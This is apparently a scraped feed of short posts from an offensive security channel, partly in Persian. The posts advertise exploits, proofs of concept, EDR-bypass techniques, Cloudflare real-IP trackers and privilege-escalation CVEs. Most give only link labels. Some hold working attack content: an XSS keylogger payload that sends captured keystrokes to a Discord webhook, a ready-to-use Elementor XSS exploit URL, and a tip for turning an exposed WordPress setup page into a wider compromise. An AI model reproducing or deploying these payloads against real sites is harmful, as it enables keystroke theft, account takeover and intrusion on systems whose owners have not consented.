Super Xray ( Web Vulnerability Scanner )

Github

#scanner #Vulnerability
——————
0Day.Today
@LearnExploit
@Tech_Army

RedTeam Tools

Github

#redteam #tools
——————
0Day.Today
@LearnExploit
@Tech_Army

In This Ceek

بررسی CVEهای پر سر و صدای این هفته (19 تا 25 آذر 1401)

https://vrgl.ir/geTOU

#ITC #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army

testing 403 bypass ?

You found a /wp-admin with 403 status.

Bypass it using /wp-admin/setup-config.php?step=1

This will allow you to create a database.
From here, you can escalate it to any other big vulnerability

#bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

Dirty Vanity ( a new injection technique that abuses the Windows fork API to bypass the EDR )

PDF

POC

#bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

Get root on macOS 13.0.1 with CVE-2022-46689 (macOS equivalent of the Dirty Cow bug)

Github

#CVE #macOS
——————
0Day.Today
@LearnExploit
@Tech_Army

PS5 Kernel Exploit: ELF Loader added to BD-JB version

Link


#exploit #ps5
——————
0Day.Today
@LearnExploit
@Tech_Army

Cloudmare ( Cloudflare, Sucuri, Incapsula real IP tracker )

Github

#bypass #tools
——————
0Day.Today
@LearnExploit
@Tech_Army

Hikvision log4j PoC ( Hikvision pre-auth log4j Poc )

Github

#POC #log4j
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2022-2602 ( PoC Kernel Privilege Escalation Linux Published ( Exploit )

Read

Read

PoC

Exploit

#Exploit #linux
——————
0Day.Today
@LearnExploit
@Tech_Army

Php Remote file Inclusion and RCE in flatpressblog/flatpress

Read

#php
——————
0Day.Today
@LearnExploit
@Tech_Army

Linux Kernel RCE (ksmbd)

🆘 CVSS Score : 10 out of 10

Read

The patch arrived in the core only in the branch 5.15.61

#linux #kernel
——————
0Day.Today
@LearnExploit
@Tech_Army

XSS Payload - Discord Keylogger

usage:

<img src onerror='let x=!1,l="";document.onkeypress=function(a){l+=a.key,x=!0},setInterval(()=>{x&&(fetch("//discord.com/api/webhook/...",{method:"post",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:l})}),x=!1)},1e3);'>

#discord #xss
——————
0Day.Today
@LearnExploit
@Tech_Army

Wordpress - XSS ( CVE-2022-29455)

/wp-content/plugins/elementor/assets/js/frontend.min.js

usage:

https://target_site/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9Cg==

#wordpress #xss
——————
0Day.Today
@LearnExploit
@Tech_Army

آموزش نصب جدیدترین نسخه Burpsuite بر روی ویندوز

+ اگر نمیدونین چه ورژنی از جاوا و این که چطوری ابزار رو بالا بیارید حتما این ویدیو رو ببینین تمام سوالاتون اینجا هست :)

#burpsuite #burp

iliya(h.r)
——————
0Day.Today
@LearnExploit
@Tech_Army

#burpsuite #burp

iliya(h.r)
——————
0Day.Today
@LearnExploit
@Tech_Army

In This Ceek

بررسی CVEهای پر سر و صدای این هفته (26 آذر تا 2 دی 1401)

https://vrgl.ir/4yojP

#ITC #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2022-42046 ( local privilege escalation )

POC

#windows #poc
——————
0Day.Today
@LearnExploit
@Tech_Army

Linux kernel exploit development

Read

#linux #Exploit
——————
0Day.Today
@LearnExploit
@Tech_Army